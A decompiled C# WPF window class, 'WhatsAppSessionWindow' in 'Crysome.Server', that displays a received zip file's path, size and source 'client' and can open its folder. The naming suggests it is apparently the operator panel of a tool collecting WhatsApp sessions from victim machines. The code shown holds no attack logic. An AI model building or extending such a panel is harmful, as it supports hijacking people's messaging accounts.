using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Markup;

namespace Crysome.Server.View;

public class WhatsAppSessionWindow : Window, IComponentConnector
{
	private readonly string _zipPath;

	internal TextBlock SubtitleText;

	internal TextBlock ClientLabel;

	internal TextBlock SizeLabel;

	internal TextBlock PathLabel;

	internal Button OpenFolderBtn;

	private bool _contentLoaded;

	public WhatsAppSessionWindow(string zipPath, string clientName, long sizeBytes)
	{
		InitializeComponent();
		_zipPath = zipPath;
		SubtitleText.Text = "From " + clientName;
		ClientLabel.Text = clientName;
		SizeLabel.Text = $"{(double)sizeBytes / 1024.0 / 1024.0:F2} MB ({sizeBytes:N0} bytes)";
		PathLabel.Text = zipPath;
		PathLabel.ToolTip = zipPath;
	}

	private void OpenFolderBtn_Click(object sender, RoutedEventArgs e)
	{
		try
		{
			string directoryName = Path.GetDirectoryName(_zipPath);
			if (Directory.Exists(directoryName))
			{
				Process.Start("explorer.exe", directoryName);
			}
		}
		catch (Exception ex)
		{
			MessageBox.Show("Cannot open folder: " + ex.Message);
		}
	}

	private void CloseBtn_Click(object sender, RoutedEventArgs e)
	{
		Close();
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	public void InitializeComponent()
	{
		if (!_contentLoaded)
		{
			_contentLoaded = true;
			Uri resourceLocator = new Uri("/Crysome.Server;component/view/whatsappsessionwindow.xaml", UriKind.Relative);
			Application.LoadComponent(this, resourceLocator);
		}
	}

	[DebuggerNonUserCode]
	[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
	[EditorBrowsable(EditorBrowsableState.Never)]
	void IComponentConnector.Connect(int connectionId, object target)
	{
		switch (connectionId)
		{
		case 1:
			SubtitleText = (TextBlock)target;
			break;
		case 2:
			ClientLabel = (TextBlock)target;
			break;
		case 3:
			SizeLabel = (TextBlock)target;
			break;
		case 4:
			PathLabel = (TextBlock)target;
			break;
		case 5:
			OpenFolderBtn = (Button)target;
			OpenFolderBtn.Click += OpenFolderBtn_Click;
			break;
		case 6:
			((Button)target).Click += CloseBtn_Click;
			break;
		default:
			_contentLoaded = true;
			break;
		}
	}
}
